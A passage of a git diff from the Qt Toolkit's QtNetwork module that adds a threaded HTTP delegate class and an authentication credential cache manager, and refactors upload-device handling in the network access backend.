+            QString msg = QLatin1String(QT_TRANSLATE_NOOP("QNetworkReply",
+                                                          "Error downloading %1 - server replied: %2"));
+            msg = msg.arg(QString::fromAscii(httpRequest.url().toEncoded()), httpReply->reasonPhrase());
+            emit error(statusCodeFromHttp(httpReply->statusCode(), httpRequest.url()), msg);
+        }
+
+    emit downloadFinished();
+
+    QMetaObject::invokeMethod(httpReply, "deleteLater", Qt::QueuedConnection);
+    QMetaObject::invokeMethod(this, "deleteLater", Qt::QueuedConnection);
+    httpReply = 0;
+}
+
+void QHttpThreadDelegate::synchronousFinishedSlot()
+{
+    if (httpReply->statusCode() >= 400) {
+            // it's an error reply
+            QString msg = QLatin1String(QT_TRANSLATE_NOOP("QNetworkReply",
+                                                          "Error downloading %1 - server replied: %2"));
+            incomingErrorDetail = msg.arg(QString::fromAscii(httpRequest.url().toEncoded()), httpReply->reasonPhrase());
+            incomingErrorCode = statusCodeFromHttp(httpReply->statusCode(), httpRequest.url());
+    }
+
+    synchronousDownloadData = httpReply->readAll();
+
+    QMetaObject::invokeMethod(httpReply, "deleteLater", Qt::QueuedConnection);
+    QMetaObject::invokeMethod(synchronousRequestLoop, "quit", Qt::QueuedConnection);
+    httpReply = 0;
+}
+
+void QHttpThreadDelegate::finishedWithErrorSlot(QNetworkReply::NetworkError errorCode, const QString &detail)
+{
+    if (!httpReply) {
+        qWarning() << "QHttpThreadDelegate::finishedWithErrorSlot: HTTP reply had already been deleted, internal problem. Please report.";
+        return;
+    }
+
+#ifndef QT_NO_OPENSSL
+    if (ssl)
+        emit sslConfigurationChanged(httpReply->sslConfiguration());
+#endif
+    emit error(errorCode,detail);
+    emit downloadFinished();
+
+
+    QMetaObject::invokeMethod(httpReply, "deleteLater", Qt::QueuedConnection);
+    QMetaObject::invokeMethod(this, "deleteLater", Qt::QueuedConnection);
+    httpReply = 0;
+}
+
+
+void QHttpThreadDelegate::synchronousFinishedWithErrorSlot(QNetworkReply::NetworkError errorCode, const QString &detail)
+{
+    incomingErrorCode = errorCode;
+    incomingErrorDetail = detail;
+
+    QMetaObject::invokeMethod(httpReply, "deleteLater", Qt::QueuedConnection);
+    QMetaObject::invokeMethod(synchronousRequestLoop, "quit", Qt::QueuedConnection);
+    httpReply = 0;
+}
+
+static void downloadBufferDeleter(char *ptr)
+{
+    delete[] ptr;
+}
+
+void QHttpThreadDelegate::headerChangedSlot()
+{
+#ifndef QT_NO_OPENSSL
+    if (ssl)
+        emit sslConfigurationChanged(httpReply->sslConfiguration());
+#endif
+
+    // Is using a zerocopy buffer allowed by user and possible with this reply?
+    if (httpReply->supportsUserProvidedDownloadBuffer()
+        && downloadBufferMaximumSize > 0) {
+        char *buf = new char[httpReply->contentLength()]; // throws if allocation fails
+        if (buf) {
+            downloadBuffer = QSharedPointer<char>(buf, downloadBufferDeleter);
+            httpReply->setUserProvidedDownloadBuffer(buf);
+        }
+    }
+
+    // We fetch this into our own
+    incomingHeaders = httpReply->header();
+    incomingStatusCode = httpReply->statusCode();
+    incomingReasonPhrase = httpReply->reasonPhrase();
+    isPipeliningUsed = httpReply->isPipeliningUsed();
+    incomingContentLength = httpReply->contentLength();
+
+    emit downloadMetaData(incomingHeaders,
+                          incomingStatusCode,
+                          incomingReasonPhrase,
+                          isPipeliningUsed,
+                          downloadBuffer,
+                          incomingContentLength);
+}
+
+void QHttpThreadDelegate::synchronousHeaderChangedSlot()
+{
+    // Store the information we need in this object, the QNetworkAccessHttpBackend will later read it
+    incomingHeaders = httpReply->header();
+    incomingStatusCode = httpReply->statusCode();
+    incomingReasonPhrase = httpReply->reasonPhrase();
+    isPipeliningUsed = httpReply->isPipeliningUsed();
+    incomingContentLength = httpReply->contentLength();
+}
+
+
+void QHttpThreadDelegate::dataReadProgressSlot(int done, int total)
+{
+    // If we don't have a download buffer don't attempt to go this codepath
+    // It is not used by QNetworkAccessHttpBackend
+    if (downloadBuffer.isNull())
+        return;
+
+    pendingDownloadProgress->fetchAndAddRelease(1);
+    emit downloadProgress(done, total);
+}
+
+void QHttpThreadDelegate::cacheCredentialsSlot(const QHttpNetworkRequest &request, QAuthenticator *authenticator)
+{
+    authenticationManager->cacheCredentials(request.url(), authenticator);
+}
+
+
+#ifndef QT_NO_OPENSSL
+void QHttpThreadDelegate::sslErrorsSlot(const QList<QSslError> &errors)
+{
+    emit sslConfigurationChanged(httpReply->sslConfiguration());
+
+    bool ignoreAll = false;
+    QList<QSslError> specificErrors;
+    emit sslErrors(errors, &ignoreAll, &specificErrors);
+    if (ignoreAll)
+        httpReply->ignoreSslErrors();
+    if (!specificErrors.isEmpty())
+        httpReply->ignoreSslErrors(specificErrors);
+}
+#endif
+
+void QHttpThreadDelegate::synchronousAuthenticationRequiredSlot(const QHttpNetworkRequest &request, QAuthenticator *a)
+{
+    Q_UNUSED(request);
+
+    // Ask the credential cache
+    QNetworkAuthenticationCredential credential = authenticationManager->fetchCachedCredentials(httpRequest.url(), a);
+    if (!credential.isNull()) {
+        a->setUser(credential.user);
+        a->setPassword(credential.password);
+    }
+
+    // Disconnect this connection now since we only want to ask the authentication cache once.
+    QObject::disconnect(this, SLOT(synchronousAuthenticationRequiredSlot(QHttpNetworkRequest,QAuthenticator*)));
+}
+
+#ifndef QT_NO_NETWORKPROXY
+void  QHttpThreadDelegate::synchronousProxyAuthenticationRequiredSlot(const QNetworkProxy &p, QAuthenticator *a)
+{
+    // Ask the credential cache
+    QNetworkAuthenticationCredential credential = authenticationManager->fetchCachedProxyCredentials(p, a);
+    if (!credential.isNull()) {
+        a->setUser(credential.user);
+        a->setPassword(credential.password);
+    }
+
+    // Disconnect this connection now since we only want to ask the authentication cache once.
+    QObject::disconnect(this, SLOT(synchronousProxyAuthenticationRequiredSlot(QNetworkProxy,QAuthenticator*)));
+}
+
+#endif
+
+QT_END_NAMESPACE
diff --git a/src/network/access/qhttpthreaddelegate_p.h b/src/network/access/qhttpthreaddelegate_p.h
new file mode 100644
index 0000000..086a35d
--- /dev/null
+++ b/src/network/access/qhttpthreaddelegate_p.h
@@ -0,0 +1,285 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QHTTPTHREADDELEGATE_H
+#define QHTTPTHREADDELEGATE_H
+
+
+//
+//  W A R N I N G
+//  -------------
+//
+// This file is not part of the Qt API.  It exists for the convenience
+// of the Network Access API.  This header file may change from
+// version to version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QObject>
+#include <QThreadStorage>
+#include <QNetworkProxy>
+#include <QSslConfiguration>
+#include <QSslError>
+#include <QList>
+#include <QNetworkReply>
+#include "qhttpnetworkrequest_p.h"
+#include "qhttpnetworkconnection_p.h"
+#include <QSharedPointer>
+#include "qsslconfiguration.h"
+#include "private/qnoncontiguousbytedevice_p.h"
+#include "qnetworkaccessauthenticationmanager_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QAuthenticator;
+class QHttpNetworkReply;
+class QEventLoop;
+class QNetworkAccessCache;
+class QNetworkAccessCachedHttpConnection;
+
+class QHttpThreadDelegate : public QObject
+{
+    Q_OBJECT
+public:
+    explicit QHttpThreadDelegate(QObject *parent = 0);
+
+    ~QHttpThreadDelegate();
+
+    // incoming
+    bool ssl;
+#ifndef QT_NO_OPENSSL
+    QSslConfiguration incomingSslConfiguration;
+#endif
+    QHttpNetworkRequest httpRequest;
+    qint64 downloadBufferMaximumSize;
+    // From backend, modified by us for signal compression
+    QSharedPointer<QAtomicInt> pendingDownloadData;
+    QSharedPointer<QAtomicInt> pendingDownloadProgress;
+#ifndef QT_NO_NETWORKPROXY
+    QNetworkProxy cacheProxy;
+    QNetworkProxy transparentProxy;
+#endif
+    QSharedPointer<QNetworkAccessAuthenticationManager> authenticationManager;
+    bool synchronous;
+
+    // outgoing, Retrieved in the synchronous HTTP case
+    QByteArray synchronousDownloadData;
+    QList<QPair<QByteArray,QByteArray> > incomingHeaders;
+    int incomingStatusCode;
+    QString incomingReasonPhrase;
+    bool isPipeliningUsed;
+    qint64 incomingContentLength;
+    QNetworkReply::NetworkError incomingErrorCode;
+    QString incomingErrorDetail;
+
+protected:
+    // The zerocopy download buffer, if used:
+    QSharedPointer<char> downloadBuffer;
+    // The QHttpNetworkConnection that is used
+    QNetworkAccessCachedHttpConnection *httpConnection;
+    QByteArray cacheKey;
+    QHttpNetworkReply *httpReply;
+
+    // Used for implementing the synchronous HTTP, see startRequestSynchronously()
+    QEventLoop *synchronousRequestLoop;
+
+signals:
+    void authenticationRequired(const QHttpNetworkRequest &request, QAuthenticator *);
+#ifndef QT_NO_NETWORKPROXY
+    void proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *);
+#endif
+#ifndef QT_NO_OPENSSL
+    void sslErrors(const QList<QSslError> &, bool *, QList<QSslError> *);
+    void sslConfigurationChanged(const QSslConfiguration);
+#endif
+    void downloadMetaData(QList<QPair<QByteArray,QByteArray> >,int,QString,bool,QSharedPointer<char>,qint64);
+    void downloadProgress(qint64, qint64);
+    void downloadData(QByteArray);
+    void error(QNetworkReply::NetworkError, const QString);
+    void downloadFinished();
+public slots:
+    // This are called via QueuedConnection from user thread
+    void startRequest();
+    void abortRequest();
+    // This is called with a BlockingQueuedConnection from user thread
+    void startRequestSynchronously();
+protected slots:
+    // From QHttp*
+    void readyReadSlot();
+    void finishedSlot();
+    void finishedWithErrorSlot(QNetworkReply::NetworkError errorCode, const QString &detail = QString());
+    void synchronousFinishedSlot();
+    void synchronousFinishedWithErrorSlot(QNetworkReply::NetworkError errorCode, const QString &detail = QString());
+    void headerChangedSlot();
+    void synchronousHeaderChangedSlot();
+    void dataReadProgressSlot(int done, int total);
+    void cacheCredentialsSlot(const QHttpNetworkRequest &request, QAuthenticator *authenticator);
+#ifndef QT_NO_OPENSSL
+    void sslErrorsSlot(const QList<QSslError> &errors);
+#endif
+
+    void synchronousAuthenticationRequiredSlot(const QHttpNetworkRequest &request, QAuthenticator *);
+#ifndef QT_NO_NETWORKPROXY
+    void synchronousProxyAuthenticationRequiredSlot(const QNetworkProxy &, QAuthenticator *);
+#endif
+
+protected:
+    // Cache for all the QHttpNetworkConnection objects.
+    // This is per thread.
+    static QThreadStorage<QNetworkAccessCache *> connections;
+
+};
+
+// This QNonContiguousByteDevice is connected to the QNetworkAccessHttpBackend
+// and represents the PUT/POST data.
+class QNonContiguousByteDeviceThreadForwardImpl : public QNonContiguousByteDevice
+{
+    Q_OBJECT
+protected:
+    bool wantDataPending;
+    qint64 m_amount;
+    char *m_data;
+    QByteArray m_dataArray;
+    bool m_atEnd;
+    qint64 m_size;
+public:
+    QNonContiguousByteDeviceThreadForwardImpl(bool aE, qint64 s)
+        : QNonContiguousByteDevice(),
+          wantDataPending(false),
+          m_amount(0),
+          m_data(0),
+          m_atEnd(aE),
+          m_size(s)
+    {
+    }
+
+    ~QNonContiguousByteDeviceThreadForwardImpl()
+    {
+    }
+
+    const char* readPointer(qint64 maximumLength, qint64 &len)
+    {
+        if (m_amount == 0 && wantDataPending == false) {
+            len = 0;
+            wantDataPending = true;
+            emit wantData(maximumLength);
+        } else if (m_amount == 0 && wantDataPending == true) {
+            // Do nothing, we already sent a wantData signal and wait for results
+            len = 0;
+        } else if (m_amount > 0) {
+            len = m_amount;
+            return m_data;
+        }
+        // cannot happen
+        return 0;
+    }
+
+    bool advanceReadPointer(qint64 a)
+    {
+        if (m_data == 0)
+            return false;
+
+        m_amount -= a;
+        m_data += a;
+
+        // To main thread to inform about our state
+        emit processedData(a);
+
+        // FIXME possible optimization, already ask user thread for some data
+
+        return true;
+    }
+
+    bool atEnd()
+    {
+        if (m_amount > 0)
+            return false;
+        else
+            return m_atEnd;
+    }
+
+    bool reset()
+    {
+        m_amount = 0;
+        m_data = 0;
+
+        // Communicate as BlockingQueuedConnection
+        bool b = false;
+        emit resetData(&b);
+        return b;
+    }
+
+    qint64 size()
+    {
+        return m_size;
+    }
+
+public slots:
+    // From user thread:
+    void haveDataSlot(QByteArray dataArray, bool dataAtEnd, qint64 dataSize)
+    {
+        wantDataPending = false;
+
+        m_dataArray = dataArray;
+        m_data = const_cast<char*>(m_dataArray.constData());
+        m_amount = dataArray.size();
+
+        m_atEnd = dataAtEnd;
+        m_size = dataSize;
+
+        // This will tell the HTTP code (QHttpNetworkConnectionChannel) that we have data available now
+        emit readyRead();
+    }
+
+signals:
+    // void readyRead(); in parent class
+    // void readProgress(qint64 current, qint64 total); happens in the main thread with the real bytedevice
+
+    // to main thread:
+    void wantData(qint64);
+    void processedData(qint64);
+    void resetData(bool *b);
+};
+
+QT_END_NAMESPACE
+
+#endif // QHTTPTHREADDELEGATE_H
diff --git a/src/network/access/qnetworkaccessauthenticationmanager.cpp b/src/network/access/qnetworkaccessauthenticationmanager.cpp
new file mode 100644
index 0000000..d2bf00a
--- /dev/null
+++ b/src/network/access/qnetworkaccessauthenticationmanager.cpp
@@ -0,0 +1,297 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qnetworkaccessmanager.h"
+#include "qnetworkaccessmanager_p.h"
+#include "qnetworkaccessauthenticationmanager_p.h"
+
+#include "QtCore/qbuffer.h"
+#include "QtCore/qurl.h"
+#include "QtCore/qvector.h"
+#include "QtCore/QMutexLocker"
+#include "QtNetwork/qauthenticator.h"
+
+QT_BEGIN_NAMESPACE
+
+
+
+
+class QNetworkAuthenticationCache: private QVector<QNetworkAuthenticationCredential>,
+                                   public QNetworkAccessCache::CacheableObject
+{
+public:
+    QNetworkAuthenticationCache()
+    {
+        setExpires(false);
+        setShareable(true);
+        reserve(1);
+    }
+
+    QNetworkAuthenticationCredential *findClosestMatch(const QString &domain)
+    {
+        iterator it = qLowerBound(begin(), end(), domain);
+        if (it == end() && !isEmpty())
+            --it;
+        if (it == end() || !domain.startsWith(it->domain))
+            return 0;
+        return &*it;
+    }
+
+    void insert(const QString &domain, const QString &user, const QString &password)
+    {
+        QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain);
+        if (closestMatch && closestMatch->domain == domain) {
+            // we're overriding the current credentials
+            closestMatch->user = user;
+            closestMatch->password = password;
+        } else {
+            QNetworkAuthenticationCredential newCredential;
+            newCredential.domain = domain;
+            newCredential.user = user;
+            newCredential.password = password;
+
+            if (closestMatch)
+                QVector<QNetworkAuthenticationCredential>::insert(++closestMatch, newCredential);
+            else
+                QVector<QNetworkAuthenticationCredential>::insert(end(), newCredential);
+        }
+    }
+
+    virtual void dispose() { delete this; }
+};
+
+#ifndef QT_NO_NETWORKPROXY
+static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm)
+{
+    QUrl key;
+
+    switch (proxy.type()) {
+    case QNetworkProxy::Socks5Proxy:
+        key.setScheme(QLatin1String("proxy-socks5"));
+        break;
+
+    case QNetworkProxy::HttpProxy:
+    case QNetworkProxy::HttpCachingProxy:
+        key.setScheme(QLatin1String("proxy-http"));
+        break;
+
+    case QNetworkProxy::FtpCachingProxy:
+        key.setScheme(QLatin1String("proxy-ftp"));
+        break;
+
+    case QNetworkProxy::DefaultProxy:
+    case QNetworkProxy::NoProxy:
+        // shouldn't happen
+        return QByteArray();
+
+        // no default:
+        // let there be errors if a new proxy type is added in the future
+    }
+
+    if (key.scheme().isEmpty())
+        // proxy type not handled
+        return QByteArray();
+
+    key.setUserName(proxy.user());
+    key.setHost(proxy.hostName());
+    key.setPort(proxy.port());
+    key.setFragment(realm);
+    return "auth:" + key.toEncoded();
+}
+#endif
+
+static inline QByteArray authenticationKey(const QUrl &url, const QString &realm)
+{
+    QUrl copy = url;
+    copy.setFragment(realm);
+    return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery);
+}
+
+
+#ifndef QT_NO_NETWORKPROXY
+void QNetworkAccessAuthenticationManager::cacheProxyCredentials(const QNetworkProxy &p,
+                                                  const QAuthenticator *authenticator)
+{
+    Q_ASSERT(authenticator);
+    Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy);
+    Q_ASSERT(p.type() != QNetworkProxy::NoProxy);
+
+    QMutexLocker mutexLocker(&mutex);
+
+    QString realm = authenticator->realm();
+    QNetworkProxy proxy = p;
+    proxy.setUser(authenticator->user());
+    // Set two credentials: one with the username and one without
+    do {
+        // Set two credentials actually: one with and one without the realm
+        do {
+            QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
+            if (cacheKey.isEmpty())
+                return;             // should not happen
+
+            QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
+            auth->insert(QString(), authenticator->user(), authenticator->password());
+            authenticationCache.addEntry(cacheKey, auth); // replace the existing one, if there's any
+
+            if (realm.isEmpty()) {
+                break;
+            } else {
+                realm.clear();
+            }
+        } while (true);
+
+        if (proxy.user().isEmpty())
+            break;
+        else
+            proxy.setUser(QString());
+    } while (true);
+}
+
+QNetworkAuthenticationCredential
+QNetworkAccessAuthenticationManager::fetchCachedProxyCredentials(const QNetworkProxy &p,
+                                                     const QAuthenticator *authenticator)
+{
+    QNetworkProxy proxy = p;
+    if (proxy.type() == QNetworkProxy::DefaultProxy) {
+        proxy = QNetworkProxy::applicationProxy();
+    }
+    if (!proxy.password().isEmpty())
+        return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them
+
+    QString realm;
+    if (authenticator)
+        realm = authenticator->realm();
+
+    QMutexLocker mutexLocker(&mutex);
+    QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
+    if (cacheKey.isEmpty())
+        return QNetworkAuthenticationCredential();
+    if (!authenticationCache.hasEntry(cacheKey))
+        return QNetworkAuthenticationCredential();
+
+    QNetworkAuthenticationCache *auth =
+        static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+    QNetworkAuthenticationCredential cred = *auth->findClosestMatch(QString());
+    authenticationCache.releaseEntry(cacheKey);
+
+    // proxy cache credentials always have exactly one item
+    Q_ASSERT_X(!cred.isNull(), "QNetworkAccessManager",
+               "Internal inconsistency: found a cache key for a proxy, but it's empty");
+    return cred;
+}
+
+#endif
+
+void QNetworkAccessAuthenticationManager::cacheCredentials(const QUrl &url,
+                                                  const QAuthenticator *authenticator)
+{
+    Q_ASSERT(authenticator);
+    QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain
+    QString realm = authenticator->realm();
+
+    QMutexLocker mutexLocker(&mutex);
+
+    // Set two credentials actually: one with and one without the username in the URL
+    QUrl copy = url;
+    copy.setUserName(authenticator->user());
+    do {
+        QByteArray cacheKey = authenticationKey(copy, realm);
+        if (authenticationCache.hasEntry(cacheKey)) {
+            QNetworkAuthenticationCache *auth =
+                static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+            auth->insert(domain, authenticator->user(), authenticator->password());
+            authenticationCache.releaseEntry(cacheKey);
+        } else {
+            QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
+            auth->insert(domain, authenticator->user(), authenticator->password());
+            authenticationCache.addEntry(cacheKey, auth);
+        }
+
+        if (copy.userName().isEmpty()) {
+            break;
+        } else {
+            copy.setUserName(QString());
+        }
+    } while (true);
+}
+
+/*!
+    Fetch the credential data from the credential cache.
+
+    If auth is 0 (as it is when called from createRequest()), this will try to
+    look up with an empty realm. That fails in most cases for HTTP (because the
+    realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection
+    never sends the credentials on the first attempt: it needs to find out what
+    authentication methods the server supports.
+
+    For FTP, realm is always empty.
+*/
+QNetworkAuthenticationCredential
+QNetworkAccessAuthenticationManager::fetchCachedCredentials(const QUrl &url,
+                                                     const QAuthenticator *authentication)
+{
+    if (!url.password().isEmpty())
+        return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them
+
+    QString realm;
+    if (authentication)
+        realm = authentication->realm();
+
+    QByteArray cacheKey = authenticationKey(url, realm);
+
+    QMutexLocker mutexLocker(&mutex);
+    if (!authenticationCache.hasEntry(cacheKey))
+        return QNetworkAuthenticationCredential();
+
+    QNetworkAuthenticationCache *auth =
+        static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+    QNetworkAuthenticationCredential cred = *auth->findClosestMatch(url.path());
+    authenticationCache.releaseEntry(cacheKey);
+    return cred;
+}
+
+void QNetworkAccessAuthenticationManager::clearCache()
+{
+    authenticationCache.clear();
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/network/access/qnetworkaccessauthenticationmanager_p.h b/src/network/access/qnetworkaccessauthenticationmanager_p.h
new file mode 100644
index 0000000..d2347b1
--- /dev/null
+++ b/src/network/access/qnetworkaccessauthenticationmanager_p.h
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QNETWORKACCESSAUTHENTICATIONMANAGER_P_H
+#define QNETWORKACCESSAUTHENTICATIONMANAGER_P_H
+
+//
+//  W A R N I N G
+//  -------------
+//
+// This file is not part of the Qt API.  It exists for the convenience
+// of the Network Access API.  This header file may change from
+// version to version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qnetworkaccessmanager.h"
+#include "qnetworkaccesscache_p.h"
+#include "qnetworkaccessbackend_p.h"
+#include "QtNetwork/qnetworkproxy.h"
+#include "QtCore/QMutex"
+
+QT_BEGIN_NAMESPACE
+
+class QAuthenticator;
+class QAbstractNetworkCache;
+class QNetworkAuthenticationCredential;
+class QNetworkCookieJar;
+
+class QNetworkAuthenticationCredential
+{
+public:
+    QString domain;
+    QString user;
+    QString password;
+    bool isNull() {
+        return domain.isNull();
+    }
+};
+Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE);
+inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2)
+{ return t1.domain < t2; }
+
+class QNetworkAccessAuthenticationManager
+{
+public:
+    QNetworkAccessAuthenticationManager() { };
+
+    void cacheCredentials(const QUrl &url, const QAuthenticator *auth);
+    QNetworkAuthenticationCredential fetchCachedCredentials(const QUrl &url,
+                                                             const QAuthenticator *auth = 0);
+
+#ifndef QT_NO_NETWORKPROXY
+    void cacheProxyCredentials(const QNetworkProxy &proxy, const QAuthenticator *auth);
+    QNetworkAuthenticationCredential fetchCachedProxyCredentials(const QNetworkProxy &proxy,
+                                                             const QAuthenticator *auth = 0);
+#endif
+
+    void clearCache();
+
+protected:
+    QNetworkAccessCache authenticationCache;
+    QMutex mutex;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/network/access/qnetworkaccessbackend.cpp b/src/network/access/qnetworkaccessbackend.cpp
index fd1fa60..5aedac9 100644
--- a/src/network/access/qnetworkaccessbackend.cpp
+++ b/src/network/access/qnetworkaccessbackend.cpp
@@ -106,12 +106,10 @@ QNetworkAccessBackend *QNetworkAccessManagerPrivate::findBackend(QNetworkAccessM
 
 QNonContiguousByteDevice* QNetworkAccessBackend::createUploadByteDevice()
 {
-    QNonContiguousByteDevice* device = 0;
-
     if (reply->outgoingDataBuffer)
-        device = QNonContiguousByteDeviceFactory::create(reply->outgoingDataBuffer);
+        uploadByteDevice = QSharedPointer<QNonContiguousByteDevice>(QNonContiguousByteDeviceFactory::create(reply->outgoingDataBuffer));
     else if (reply->outgoingData) {
-        device = QNonContiguousByteDeviceFactory::create(reply->outgoingData);
+        uploadByteDevice = QSharedPointer<QNonContiguousByteDevice>(QNonContiguousByteDeviceFactory::create(reply->outgoingData));
     } else {
         return 0;
     }
@@ -120,14 +118,13 @@ QNonContiguousByteDevice* QNetworkAccessBackend::createUploadByteDevice()
             reply->request.attribute(QNetworkRequest::DoNotBufferUploadDataAttribute,
                           QVariant(false)) == QVariant(true);
     if (bufferDisallowed)
-        device->disableReset();
-
-    // make sure we delete this later
-    device->setParent(this);
+        uploadByteDevice->disableReset();
 
-    connect(device, SIGNAL(readProgress(qint64,qint64)), this, SLOT(emitReplyUploadProgress(qint64,qint64)));
+    // We want signal emissions only for normal asynchronous uploads
+    if (!isSynchronous())
+        connect(uploadByteDevice.data(), SIGNAL(readProgress(qint64,qint64)), this, SLOT(emitReplyUploadProgress(qint64,qint64)));
 
-    return device;
+    return uploadByteDevice.data();
 }
 
 // need to have this function since the reply is a private member variable
@@ -327,11 +324,6 @@ void QNetworkAccessBackend::authenticationRequired(QAuthenticator *authenticator
     manager->authenticationRequired(this, authenticator);
 }
 
-void QNetworkAccessBackend::cacheCredentials(QAuthenticator *authenticator)
-{
-    manager->cacheCredentials(this->reply->url, authenticator);
-}
-
 void QNetworkAccessBackend::metaDataChanged()
 {
     reply->metaDataChanged();
diff --git a/src/network/access/qnetworkaccessbackend_p.h b/src/network/access/qnetworkaccessbackend_p.h
index 26ee61a..644ae2d 100644
--- a/src/network/access/qnetworkaccessbackend_p.h
+++ b/src/network/access/qnetworkaccessbackend_p.h
@@ -70,7 +70,6 @@ class QNetworkAccessManagerPrivate;
 class QNetworkReplyImplPrivate;
 class QAbstractNetworkCache;
 class QNetworkCacheMetaData;
-class QNetworkAccessBackendUploadIODevice;
 class QNonContiguousByteDevice;
 
 // Should support direct file upload from disk or download to disk.
@@ -175,7 +174,6 @@ protected:
     // Create the device used for reading the upload data
     QNonContiguousByteDevice* createUploadByteDevice();
 
-
     // these functions control the downstream mechanism
     // that is, data that has come via the connection and is going out the backend
     qint64 nextDownstreamBlockSize() const;
@@ -185,6 +183,8 @@ protected:
     void writeDownstreamDataDownloadBuffer(qint64, qint64);
     char* getDownloadBuffer(qint64);
 
+    QSharedPointer<QNonContiguousByteDevice> uploadByteDevice;
+
 public slots:
     // for task 251801, needs to be a slot to be called asynchronously
     void writeDownstreamData(QIODevice *data);
@@ -196,19 +196,22 @@ protected slots:
     void proxyAuthenticationRequired(const QNetworkProxy &proxy, QAuthenticator *auth);
 #endif
     void authenticationRequired(QAuthenticator *auth);
-    void cacheCredentials(QAuthenticator *auth);
     void metaDataChanged();
     void redirectionRequested(const QUrl &destination);
     void sslErrors(const QList<QSslError> &errors);
     void emitReplyUploadProgress(qint64 bytesSent, qint64 bytesTotal);
 
+protected:
+    // FIXME In the long run we should get rid of our QNAM architecture
+    // and scrap this ReplyImpl/Backend distinction.
+    QNetworkAccessManagerPrivate *manager;
+    QNetworkReplyImplPrivate *reply;
+
 private:
     friend class QNetworkAccessManager;
     friend class QNetworkAccessManagerPrivate;
-    friend class QNetworkAccessBackendUploadIODevice;
     friend class QNetworkReplyImplPrivate;
-    QNetworkAccessManagerPrivate *manager;
-    QNetworkReplyImplPrivate *reply;
+
     bool synchronous;
 };
